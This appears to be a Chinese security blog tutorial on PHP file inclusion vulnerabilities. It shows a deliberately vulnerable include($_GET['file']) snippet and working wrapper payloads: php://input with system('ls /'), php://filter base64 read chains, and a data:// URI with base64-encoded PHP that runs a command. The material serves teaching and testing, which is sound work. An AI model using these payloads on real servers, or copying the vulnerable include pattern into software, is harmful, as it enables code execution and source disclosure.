文件包含漏洞(----php伪协议)

文件包含漏洞

在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。

文件包含函数

include()

代码执行到 include() 函数时将文件包含

include_once()

当重复调用同一文件时只调用一次,功能与 include() 相同

require()

require() 执行如果发生错误,函数会报错并终止脚本

require_once()

当重复调用同一文件时只调用一次,功能与 require() 相同

文件包含漏洞分类

本地包含

当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。

<?php $file = $_GET['file']; include($file); ?>

远程包含

当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:

allow_url_include = on(是否允许 include/require 远程文件) allow_url_fopen = on(是否允许打开远程文件)

php伪协议

image

php://input

php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。
?file=php://input
post传参:
<?php system("ls /");?>
然后查看文件内容:

无过滤

php://filter/resource=

字符串过滤
php://filter/read=string.rot13/resource= php://filter/read=string.toupper/resource= php://filter/read=string.tolower/resource= php://filter/read=string.string_tags/resource=
转换过滤
php://filter/read=convert.base64-encode/resource= php://filter/read=convert.quoted-printable-encode/resource=

data 伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:
data://text/plain;base64,xxxx(base64编码后的数据)
eg:

<?php system("ls /")?> ?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyAvIik/Pg==

__EOF__

本文作者harmor
本文链接https://www.cnblogs.com/harmor/p/17476050.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   harmor  阅读(121)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示